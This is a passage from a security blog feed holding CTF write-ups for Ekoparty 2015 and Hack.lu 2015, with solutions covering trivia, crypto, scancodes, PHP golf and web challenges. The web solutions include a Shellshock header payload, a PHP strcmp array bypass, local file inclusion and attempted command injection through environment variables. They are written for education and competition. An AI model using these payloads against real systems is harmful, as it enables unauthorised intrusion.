<p>We&#8217;re both not into reverse engineering, so we decided to upload the files to virustotal.com. Most AVs do not detect the files as malicious (date: 1st of November 2015):</p>

<ul>
<li><a href="https://www.virustotal.com/en/file/d8eaaddbc52dc07a7e2547b4abfb882d79cb66874b09609d5cd1f590a33115bd/analysis/1446384258/">drop.exe.rev.1</a></li>
<li><a href="https://www.virustotal.com/en/file/74ac751a8ead62906e1a7a0e63643ea5039091da8a43771aa7f9b9563abe840a/analysis/1446384387/">drop.exe.rev.2</a></li>
<li><a href="https://www.virustotal.com/en/file/4a436f0eae34cc40cfb6ce980b2b937b463bdbc4e882d984df4e563a7e7989d2/analysis/">drop.exe.rev.3</a></li>
</ul>


<p>We&#8217;ve also submitted one sample to <a href="https://anubis.iseclab.org/?action=result&amp;task_id=17fbe9b1740e567b4010c2478be1dba7f">Anubis</a> and <a href="https://malwr.com/submission/status/MGYxMjhjNTg2NGQ2NDY3MTg3Nzg5YWE5ZjY3NmUxMzk/">Malwr.com</a>, but it takes ages for them to analyse it.</p>

<p>That&#8217;s all about it. Nothing special, but Sebastian was just curious about it.  However, it&#8217;s interesting and new to us that Windows seems to directly execute javascript (<code>.js</code>) files.</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Ekoparty CTF 2015 - Writeups]]></title>
    <link href="https://en.internetwache.org/ekoparty-ctf-2015-writeups-24-10-2015/"/>
    <updated>2015-10-24T02:04:00+02:00</updated>
    <id>https://en.internetwache.org/ekoparty-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>The evening after the hacklu CTF I had the urge to hack on some other challenges. Ctftime.org listed the <a href="https://ctftime.org/event/247">ekoparty CTF 2015</a> as the first entry and there was one day left. In this blogpost I&#8217;m going to write up my solutions for the following challenges:</p>

<ul>
<li>Slogans ( Trv 50)</li>
<li>SSL Attack (Trv 90)</li>
<li>Blocking truck (Trv 100)</li>
<li>Pass Check (Web 50)</li>
<li>XOR Crypter (Cry 200)</li>
<li>Press it (Misc 100)</li>
</ul>


<p>And some notes on other services I&#8217;ve tackled.</p>

<!-- more -->


<p>I wish I had more spare time for this CTF. Some challenges seemed promising. Here&#8217;s what I&#8217;ve managed to solve:</p>

<h1>Slogans</h1>

<p>The task was to find the slogans for the past ekopartys 2008 &amp; 2009.</p>

<p>As the slogan is prominently shown on the website, my first idea was to use the <a href="https://web.archive.org/web/*/ekoparty.org">wayback machine</a> to view the older websites. Unfortunately, 2008 wasn&#8217;t recorded, so I decided to ask the allmighty Google. I fed it with the following google dork:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>intext:ekoparty intext:2008 intext:slogan</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/trv50-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/trv50-1.png" alt="Sceenshot of google dork" title="Slogans google dork" /></a></p>

<p>The first result was a blogpost which contained the slogans of both 2008 and 2009:</p>

<p><a rel="fancybox"href="/images/posts/trv50-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/trv50-2.png" alt="Sceenshot of ekoparty slogans 2008 and 2009" title="Slogans ekoparty 2008/2009" /></a></p>

<p>The accepted flag was: <code>EKO{Vi root y entre_What if r00t was one of us?}</code></p>

<h1>SSL Attack</h1>

<p>The task was to find the name of one of the SSL attacks presented at ekoparty.</p>

<p>Again, a bit google magic (<code>intext:ekoparty intext:ssl</code>) listed websites containing some well known candidates as <code>BREACH</code>, <code>CRIME</code> and <code>BEAST</code>. The latter one was the correct solution.</p>

<p><a rel="fancybox"href="/images/posts/trv90.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/trv90.png" alt="BEAST SSL attack presented at ekoparty" title="BEAST at ekoparty" /></a></p>

<p>Flag: <code>EKO{BEAST}</code></p>

<h1>Blocking truck</h1>

<p>The description stated that there&#8217;s a blue truck in front of the entrance. The correct flag is the url on the truck.</p>

<p>At first I thought that I couldn&#8217;t solve the challenge as I&#8217;m not at the venue, but sitting in front of my laptop in Berlin. As I didn&#8217;t believe that they would create a task which could only be solved by local teams, I decided to open the contact page and paste the address into google maps. Voila! You can use streetview to view the blue truck:</p>

<p><a rel="fancybox"href="/images/posts/trv100.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/trv100.png" alt="Streetview of blue truck at ekoparty" title="Blue truck ekoparty" /></a></p>

<p>The domain was a bit blurry, but typing <code>desimonehnos.com.ar</code> into google lead to the correct website. The task stated that the flag is the <code>url to contact</code> the company. I needed some tries to figure out that the url to the landing page was enough.</p>

<p>Flag: <code>EKO{http://www.desimonehnos.com.ar}</code> or <code>EKO{www.desimonehnos.com.ar}</code> (can&#8217;t remember it anymore..)</p>

<h1>Pass check</h1>

<p>This was the first web challenge. It looked funny and made funny sounds when entering characters ;)</p>

<p><a rel="fancybox"href="/images/posts/web50-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/web50-2.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>The sound and the blinking numbers were nice, but didn&#8217;t have anything to do with the solution. I started up BurpSuite to capture the ajax call. After trying some easy guesses, I replaced the <code>password=test</code> with <code>password[]=test</code> and the application was so kind to display the flag.</p>

<p><a rel="fancybox"href="/images/posts/web50.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/web50.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>Flag: <code>EKO{strcmp_not_s0_s4fe}</code></p>

<p>The function <code>strcmp</code> isn&#8217;t good at comparing things that aren&#8217;t strings. An interesting list can be found on <a href="http://php.net/manual/de/function.strcmp.php#108563">php.net</a>.</p>

<h1>XOR Crypter</h1>

<p>This task provided the following string <code>CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=</code> and some <a href="https://paste.internetwache.org/?fe5bd7f932675a78#681dnB8WTmHKFNFWtk8i+6FGRjYvl4dmbaUgxlMynKY=">python code</a>.</p>

<p>The string is obviously base64 encoded, but decoding it didn&#8217;t seem the be helpful (<code>0O{sh1_t7_uhiabe}</code>), so I had to have a look on the sourcecode. The encryption algorithm first pads the data to be a multiple of 4. After that it&#8217;s split into chunks of 4 bytes. Every block is xored with a 16-right-shifted version of itself. I looked up the operator priority and <code>&gt;&gt;</code> comes before <code>^</code>. The final operation is to pack every block and base64 encode the result.</p>

<p>The main issue here was the use of XOR in combination with the right-shift. Here&#8217;s a simulation of happens:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># 1001 &gt;&gt; 2 (9 shifted by 2 adds zeros to the beginning and the result is 0010 = 2)
</span><span class='line'># 0010 ^ 1001 (2 xored 9 is 1011 = 11; This is the result of our encryption.)
</span><span class='line'>
</span><span class='line'># 1011 &gt;&gt; 2 (11 shifted by 2 is 0010 = 2)
</span><span class='line'># 0010 ^ 1011 (11 xored with 2 is 1001 = 9)
</span><span class='line'># 1001</span></code></pre></td></tr></table></div></figure>


<p>Note that a N-right-shift caused the first N bits of the xored block to be the same as the input block. The reversibility of XOR (<code>(Y ^ U) ^ U = Y</code>) helps us to recover the remaining part of the block. The other operations (base64-encoding, (un)-packing) have to be applied in reversed order. Here&#8217;s a link to my <a href="https://paste.internetwache.org/?0e0df3fd47f3d1d3#7HbbpGSW5XE9JYc3KWML7jekitt0d7XTS1s+jXCKrUY=">dirty-hacky-python-code</a> (I&#8217;ve added some print/debug statements&#8230;)</p>

<p><a rel="fancybox"href="/images/posts/crpt-200.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/crpt-200.png" alt="Screenshof of XOR crypter output" title="Crypto 200 challenge" /></a></p>

<p>Flag: <code>EKO{unshifting_the_unshiftable}</code></p>

<h1>Press it</h1>

<p>In my opinion this was the most interesting challenge which I&#8217;ve successfully solved. The task was to extract the flag from the <a href="https://paste.internetwache.org/?73c1ef35da87a37b#cVk1cCjWHaIyInZVzqLMAKiQhRELSDA05gXbV9/+Bpg=">following file</a>.</p>

<p>I first thought that these are just some random hex numbers, but then recognized the format again. I saw it when I executed <code>/usr/bin/showkey</code> when trying to solve the <a href="https://ctftime.org/task/1779">dr.bob hacklu 2015 challenge</a>. I opened tty2 on my machine and ran <code>showkey -s</code> and it printed similar hex numbers when I hit my keyboard.</p>

<p>I started googling for a program or tool which would automatically decode the scancodes to ascii characters, but to no avail. (Or at least not running on linux and I didn&#8217;t want to install wine)</p>

<p>Reading through the showkey manpage I learned that those codes are called <code>scancodes</code> which are unique per key. There are always two scancodes per key: One when it&#8217;s pressed and one when it&#8217;s released.</p>

<p>The last fact is important, because I first tried to decode the characters only with the &#8216;pressed&#8217; codes and that <a href="https://paste.internetwache.org/?f03edcacb49ea59e#dy38GM5s5NopfiiIPmFDofx+rp8LyJYWc/TPL4jx+Pg=">turned out to look weird (Pastebin)</a>. All the <code>?</code> or empty codes are mostly key releases. Additionally, I had to learn the hard way that scancode-combinations are also possible on some keyboards. E.g. <code>0xe0 0x38</code> is Left-Alt. Microsoft has a good <a href="http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/scancode.doc">document with scancode mappings</a>.</p>

<p>After going through all scancodes a second time I had the following result in my notepad: <code>This is it. EKO{ibm_model_m}</code></p>

<p>Flag: <code>EKO{ibm_model_m}</code></p>

<h1>Other challenges/notes</h1>

<p>As always, I had a look on other challenges and tried to solve them, but eventually got stuck somewhere. I&#8217;m a bit disappointed that I didn&#8217;t manage to solve Mr Anderson (I don&#8217;t know the film, but googling the solution shouldn&#8217;t be that hard?), Custom ACL (I&#8217;ve spent a great portion of the time with this one. Probably only one tiny step missing).</p>

<h2>Mr Anderson (Trv 80)</h2>

<ul>
<li>Mr Anderson and <code>last serie</code> point to <code>Mr.Robot</code></li>
<li>Can&#8217;t figure out the <code>favority music artist</code> part. Tested some artists of the last episode&#8217;s soundtracks. No luck</li>
<li>Not enough motivation to <code>brute force</code> all possible artists.</li>
</ul>


<h2>Custom ACL (Web 100)</h2>

<ul>
<li>Discovered sourcecode of <code>admin.php</code> at <code>admin.phps</code> (<a href="https://paste.internetwache.org/?b42a1f2e04489a90#LdNAQ2gCgnQELttCTli4nU1MFOQxBNOtwJBWmwsRtJU=">Pastebin</a>)</li>
<li>Tried to spoof REMOTE_ADDR with <code>X-Forwarded-For</code> &amp; co until learning that it really only is the IP of the TCP-connection.</li>
<li>Running nmap against the IP range <code>67.222.139.223-230</code> results in one host with some interesting ports (<a href="https://paste.internetwache.org/?e002c0a0f9a1aa52#uQlYrlmFfmHipnn2hss5r4yhPYfMcrFxpZDhKlYDx4c=">Pastebin</a>)</li>
<li>Trying to use it as a proxy always fails with the message <code>501 method "GET/POST/Whatever" not supported</code></li>
<li>Noticing the <code>Server: pve-api-daemon/3.0</code>-header, but can&#8217;t figure out how to (ab)use the proxmox daemon for the solution.</li>
<li>Not enough time to further analyse it.</li>
</ul>


<h2>Crazy JSON (Web 300)</h2>

<ul>
<li><code>evaluator.js</code> missing on the server: suspicious</li>
<li>HTTP Response contains interesting JSON (<a href="https://paste.internetwache.org/?f792df2675f9997a#6Vj2a1SdqdulQYnq25WgivcJ710xCZ/cJQLOmqeJHjs=">Pastebin</a>)</li>
<li><code>new Ajsone()</code> call. Google points to a <a href="https://github.com/alokmenghrajani/alokmenghrajani.github.com/tree/master/ajsone">github repository</a> with demo input/evaluation area.</li>
<li>Xor (<code>^</code>) isn&#8217;t implemented. Implementing it.</li>
<li>Password has to be 32 characters long, but further evaluations/execution lead to an <code>error inf loop?</code>.</li>
<li>No time to further investige it. Nevertheless interesting :)</li>
</ul>


<h2>SVG Viewer (Web 400)</h2>

<ul>
<li>Uploading SVG with XXE testvector -> <code>Entity declaration</code> detected error</li>
<li>Idea of using an own external DTD to bypass this check.  Doesn&#8217;t really work as expected. Running out of time ->  context switch to another challenge</li>
</ul>


<h2>Olive (Misc 50)</h2>

<ul>
<li>Mostly VNC traffic / Http traffic doesn&#8217;t look interesting</li>
<li>Extracting VNC traffic to file. Seems like a RFB (remote frame buffer)</li>
<li>Looking for a tool to replay it. Neither rfbproxy nor vncreplay work well with the dumped data.</li>
<li>Running out of ideas on how to replay/view/decode the RFB</li>
</ul>


<p>Again, thanks for this awesome CTF :)</p>

<p>Sebastian</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Hacklu CTF 2015 Writeups]]></title>
    <link href="https://en.internetwache.org/hacklu-ctf-2015-writeups-22-10-2015/"/>
    <updated>2015-10-22T15:28:00+02:00</updated>
    <id>https://en.internetwache.org/hacklu-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>During the last two days, the <a href="https://ctftime.org/event/244">Hacklu CTF 2015</a> was held. It&#8217;s a jeopardy-style CTF and Sebastian joined to have some fun ;) Here&#8217;s the writeup of the following challenges:</p>

<ul>
<li>Module Loader (Web, 100)</li>
<li>PHP Golf (Coding, 75)</li>
<li>Guessthenumber (Coding, 150)</li>
<li>Bashful (Web, 200)</li>
</ul>


<!-- more -->


<p>First of all I want to say that CTFs are fun. If you haven&#8217;t participated in one yet, go to <a href="https://ctftime.org">ctftime.org</a> to find a list of upcoming CTFs. During this CTF I teamed up with <a href="https://twitter.com/nobbd">Denis</a> and <a href="https://twitter.com/mazen160">Mazen</a> chimed in for bashful.</p>

<h1>Module Loader</h1>

<p>This was an easy warm-up challenge: A web application which took a <code>$_GET['module']</code> parameter an then executed the given module. Having a quick look into the sourcecode of the website tells us where the modules are located.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/module-loader-1.png" alt="Sceenshot of module loader html sourcecode" title="Module loader html sourcecode" /></a></p>

<p>The <code>/modules/</code> folder greets us with a nice directory listing and all available modules:</p>

<p><a rel="fancybox"href="/images/posts/module-loader-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/module-loader-2.png" alt="Sceenshot of module loader html sourcecode" title="Module loader directory listing" /></a></p>

<p>You could even click on the modules and see their full sourcecode, but that didn&#8217;t seem to help a lot. So let&#8217;s see if this is a local file inclusion and if we can manipulate the path:</p>

<p><a rel="fancybox"href="/images/posts/module-loader-3.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/module-loader-3.png" alt="Sceenshot of module loader local file inclusion" title="Module loader local file inclusion" /></a></p>

<p>Okay, that&#8217;s cool. Denis came up with the idea of including the <code>.htaccess</code>-file from the document root.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-4.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/module-loader-4.png" alt="Sceenshot of module loader .htaccess file" title="Module loader .htaccess" /></a></p>

<p>The last step was to include the <code>flag.php</code> file in the hidden directory.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-5.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/module-loader-5.png" alt="Sceenshot of module loader flag" title="Module loader flag" /></a></p>

<p>Done :)</p>

<h1>PHP Golf</h1>

<p>This challenge was pretty cool, because you had to write a php program for the following task and conditions:</p>

<p><a rel="fancybox"href="/images/posts/php-golf-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/php-golf-1.png" alt="Sceenshot of php golf task" title="PHP golf task" /></a></p>

<p>I first started out to just implement the functionality without looking at the length of the code. The code did what it should, but it was way too long, so it became obvious that you can&#8217;t solve this challenge without regular expressions.</p>

<p>The second version used regular expressions and <code>preg_replace</code> with the <code>e</code> modifier to convert the matches to upper/lower case:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=preg_replace('/(\w)([^\w]*)(\w)?/e',"strtoupper('$1').'$2'.strtolower('$3')", $argv[1]);?&gt;</span></code></pre></td></tr></table></div></figure>


<p>However, this version was still too long with about 90 characters. This was when I started to look for ways to replace the long <code>strtoupper</code> / <code>strtolower</code> calls. The solution are so called <a href="http://www.regular-expressions.info/unicode.html">unicode character properties</a>. I somehow didn&#8217;t manage to get them to work with the <code>replacement</code> parameter of <code>preg_match</code>, so I tested them with perl:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo '$argv[1]'|perl -pe 's~(\w)([^\w]*)(\w)?~\U\\1\E\\2\L\\3\E~g'");?&gt;</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The trick is, that everything between <code>\U</code> and <code>\E</code> will be converted to it&#8217;s uppercase representation. <code>\L</code> will convert to lowercase. Unfortunately, the submission server didn&#8217;t offer <code>perl</code> and this version was again too long (~80), but we were allowed to use <code>exec</code> and other commands. My next thought was about using <code>sed</code>. However, this was at around 2 o&#8217;clock in the morning and I posted this to our mailing list. I decided to go to sleep and recharge for the next day.</p>

<p>The next morning came and before I was able to continue on the challenge, I received an email from Denis with a working solution:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo $argv[1]|sed -r 's/(\w)(\W*\w?)/\U\\1\L\\2/g'"); </span></code></pre></td></tr></table></div></figure>


<p>Exactly 62 characters! Some notes about this:</p>

<ul>
<li><code>[^\w]</code> is the same as <code>\W</code></li>
<li><code>&lt;?=</code> is the same as <code>&lt;? echo</code></li>
<li>You can omit the trailing <code>?&gt;</code> if the code ends with a semicolon.</li>
</ul>


<p>This solution still had problems with underscores (<code>_</code>) in the input string, but we had luck to get one without these and successfully recovered the flag:</p>

<p><a rel="fancybox"href="/images/posts/php-golf-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/php-golf-2.png" alt="Sceenshot of php golf solution" title="PHP golf solution" /></a></p>

<p>Done</p>

<h1>Guessthenumber</h1>

<p>The task of this challenge was to guess 100 numbers in the correct order.</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/guessthenumber-2.png" alt="Sceenshot of guessthenumber task" title="Guessthenumber task" /></a></p>

<p>The following hints were given:</p>

<ul>
<li>The server uses a <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Linear congruential generator</a></li>
<li>Uses the <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#Parameters_in_common_use">standard glibc parameters</a></li>
<li>Initialized with the python strftime format <code>YmdHMS</code></li>
<li>Numbers are between 0 and 99 (included)</li>
</ul>


<p>I wanted to solve the challenge with python. I googled for a LCG implementation/library and <a href="http://pcg.wikidot.com/pcg-algorithm:linear-congruential-generator">found an example</a>. The next step was to change the parameters to the glibc standards and to write the basic server/client communication code. So far, easy going.</p>

<p>The server always told us his current date and time. (See screenshot above) This had to do something with the initialization format <code>YmdHMS</code>. After extracting the values with a regular expression, I concatenated them into the given format:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>    timedata=str(year)+str(month)+str(day)+str(hour)+str(minute)+str(second)
</span><span class='line'>    seed(int(timedata))</span></code></pre></td></tr></table></div></figure>


<p>The last important thing was to apply a modulo operation on the generated randon numbers. As both 0 and 99 are in the range of possible numbers, <code>rnd() %100</code> was used.</p>

<p>Unfortunately, this didn&#8217;t solve the challenge as the first guess was always wrong. It turned out that you had to generate 100 numbers and send them in reversed order:</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/guessthenumber-1.png" alt="Sceenshot of guessthenumber flag" title="Guessthenumber flag" /></a></p>

<p>The full quick &amp; dirty code: <a href="https://paste.internetwache.org/?eba167b215da9a31#jXXbtgZwnAxupMgWqrHPrxfaIlQO78mljeXU0rbS/9w=">Pastebin</a></p>

<p>Done :)</p>

<h1>Bashful</h1>

<p>This was the challenge, I&#8217;ve spent the most time on, because I was trying way too hard. Mazen joined me on this one. But okay, let&#8217;s start slowly. Bashful was a web application, written in pure bash, that could be used to store notes (simple strings).</p>

<p>I&#8217;m going to post my final solution right away and write about other possibilites and chances afterwards. I&#8217;m still not sure if this solution was the intended one or not, but it worked very well :)</p>

<p><a rel="fancybox"href="/images/posts/bashful-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/bashful-2.png" alt="Screen of bashful flag extraction" title="Bashful flag" /></a></p>

<p>As you can see, I was able to use the most standard <a href="https://shellshocker.net/">Shellshock</a> payload in the request headers:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>X-Foo: () { :;}; /bin/bash -c "cat /var/www/flag"</span></code></pre></td></tr></table></div></figure>


<p><em>Psst: There was even a XSS by sending a http header with a XSS payload :D</em></p>

<p>I have to say, that I was kind of dissapointed by this solution. There was so much more fun within the code. While going through it, I came across the following three functions:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>function explode {
</span><span class='line'>        IFS="$1" read -ra "$2" &lt;&lt;&lt; "$3"
</span><span class='line'>}
</span><span class='line'>function filter_nonalpha {
</span><span class='line'>        echo $(echo $1 | sed 's/[^a-zA-Z0-9.!$;?_]//g')
</span><span class='line'>}
</span><span class='line'>function parse {
</span><span class='line'>        explode '&' 'pairs' "$1"
</span><span class='line'>        for pair in "${pairs[@]}"; do
</span><span class='line'>        explode '=' 'keyval' "$pair"
</span><span class='line'>        export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"
</span><span class='line'>   done 
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>These functions were later used to parse user input:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v QUERY_STRING ]; then
</span><span class='line'>    parse "$QUERY_STRING"
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>The first interesting thing is the <code>sed</code> command in <code>filter_nonalpha</code>, because it replaces all characters except the ones in the square brackets. So our values can contain <code>.!$;?</code> which may be useful in the context of bash. The second interesting thing is the following line from <code>parse</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"</span></code></pre></td></tr></table></div></figure>


<p>Note that only the environment variable&#8217;s name is filtered, but not the value. Additionally we can use the <code>parse</code>  function to set abitary environment variables. E.g. the query string <code>DEBUG=1</code> will set the variable <code>$DEBUG</code> to <code>1</code>.</p>

<p>A bit further down in the sourcecode, we find the following lines:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v DEBUG ]; then
</span><span class='line'>    echo -ne '&lt;pre&gt;'
</span><span class='line'>    printenv
</span><span class='line'>    echo -ne '&lt;/pre&gt;'
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>As said above, putting <code>DEBUG=</code> into the url will print us all current environment variables:</p>

<p><a rel="fancybox"href="/images/posts/bashful-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/bashful-1.png" alt="Screen of bashful debug information" title="Bashful debug information" /></a></p>

<p>Knowing that I can set other variables and/or overwrite existing ones, made the following two code block really interesting:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sessid=$(filter_nonalpha $sessid)
</span><span class='line'>if [ -z $sessid ] || [ "${#sessid}" -lt 60 ]; then 
</span><span class='line'>   echo 'like... really?'
</span><span class='line'>   exit
</span><span class='line'>fi
</span><span class='line'>sessfile=$SESSION_DIR/$sessid
</span><span class='line'>if [ -f $sessfile ]; then
</span><span class='line'>    explode '#' 'messages' "$(cat $sessfile)"
</span><span class='line'>else
</span><span class='line'>    messages=()
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Controlling <code>$SESSION_DIR</code> and <code>$sessid</code> to set an abitary file path as the <code>$sessfile</code> variable and reading the content from it, sounded like a nice way to get the flag. Long story short: Setting <code>$SESSION_DIR</code> wasn&#8217;t the problem, but rather the length check of the <code>$sessid</code> variable. I was able to bypass it with <code>$IFS$IFS...$IFS</code>, but that failed the file existance check (<code>[ -f $sessfile ]</code>).</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ ! -v page ]; then
</span><span class='line'>    page=home
</span><span class='line'>else
</span><span class='line'>    page=$(filter_nonalpha "$page")
</span><span class='line'>fi
</span><span class='line'>if [[ "$page" == "index" ]]; then
</span><span class='line'>    page=home
</span><span class='line'>fi
</span><span class='line'>file="$DOCUMENT_ROOT/$page.sh"
</span><span class='line'>if [ ! -f $file ]; then
</span><span class='line'>    &gt;&2 echo "Can't load $file"
</span><span class='line'>    file="$DOCUMENT_ROOT/404.sh"
</span><span class='line'>fi
</span><span class='line'>source $file</span></code></pre></td></tr></table></div></figure>


<p>This seemed even more interesting, because that may directly lead to a remote code execution. Again, we should be able to control/set the values of <code>$DOCUMENT_ROOT</code> and <code>$page</code>. The combination of both would then be sourced (= executed). We only need to put our commands into a file with the ending <code>.sh</code> in the document root or somewhere else and change it.</p>

<p>I could think of two ways to trigger the RCE:</p>

<p>The first one was to set <code>$SESSION_DIR=/var/www/</code> and <code>$sessid=aaaa...aaa.sh</code> (60+ times <code>a</code> and <code>.sh</code>). This should set <code>$sessfile=/var/www/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.sh</code>. Saving a note with these parameters in the url should create the <code>$sessfile</code>. Unfortunately, this didn&#8217;t work due to missing write permissions. The only thing the server did was returning a 500 error. :(</p>

<p>The other idea was to set <code>$SESSION_DIR=/var/sessions</code> and <code>$sessid</code> as above, to create a session file with <code>.sh</code> at the end. The second step would consist of setting <code>DOCUMENT_ROOT=/var/sessions</code> and <code>$page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</code>, but this failed with a 500 error again.</p>

<p>Maybe there&#8217;s some other bash magic that can be used to modify the parameters and trigger the RCE. I&#8217;m quite disappointed that I couldn&#8217;t get this to work. However, it&#8217;s funny to see that the solution was really easy and I just somehow tried too hard to find another way.</p>

<h1>Other challenges</h1>

<p>I had a look at other challenges and can only post some ideas that I had. Probably all in the wrong direction and senseless:</p>

<h2>Grading-Board (Web):</h2>

<ul>
<li>Some kind of SQL Injection</li>
<li>Probably need to use the <code>grant options</code> to give other people access to your own table to bypass the request limit</li>
<li>No time to test this</li>
</ul>


<h2>Dr.Bob (Forensic):</h2>

<ul>
<li>Mounting .vdi image with <code>qemu-nbd</code></li>
<li>LVM volume, but encrypted and password unknown</li>
<li>Use VirtualBox to start the saved state, but no password for users</li>
<li>Try/Use volatility to extract some (useful) information</li>
<li>Boot disk and use <code>init=/bin/bash rw</code> kernel parameters to drop into root-shell. Look for suspicious/useful files. No luck :(</li>
<li>Edit saved-state with hexeditor to change <code>/etc/passwd</code> contents. This didn&#8217;t come into my mind at 5 o&#8217;clock :(</li>
</ul>


<h2>Teacher&#8217;s Pinboard (Web):</h2>

<ul>
<li>Bottom of <code>pickle.js</code> says that <code>splice/slice</code> are mixed up and need to be fixed</li>
<li>Pickle is some kind of encoding. Information from the cookie <code>accountinfo</code> will be decoded and used</li>
<li>Idea: Save the single-page app and fix pickle.js. Hope that this helps to extract some information/flag from the &#8216;default&#8217; notes.</li>
<li>No time to test this</li>
</ul>


<h1>Future CTFs</h1>

<p>I think, I&#8217;ll participate more often in jeopardy-style CTFs if my spare time allows it. It&#8217;s really really fun and lets you discover new stuff/get fresh ideas. Let me know if you want to team up for a particular challenge/CTF</p>

<p>Hope that helps,
Sebastian</p>
]]></content>
  </entry>
  
  <entry>
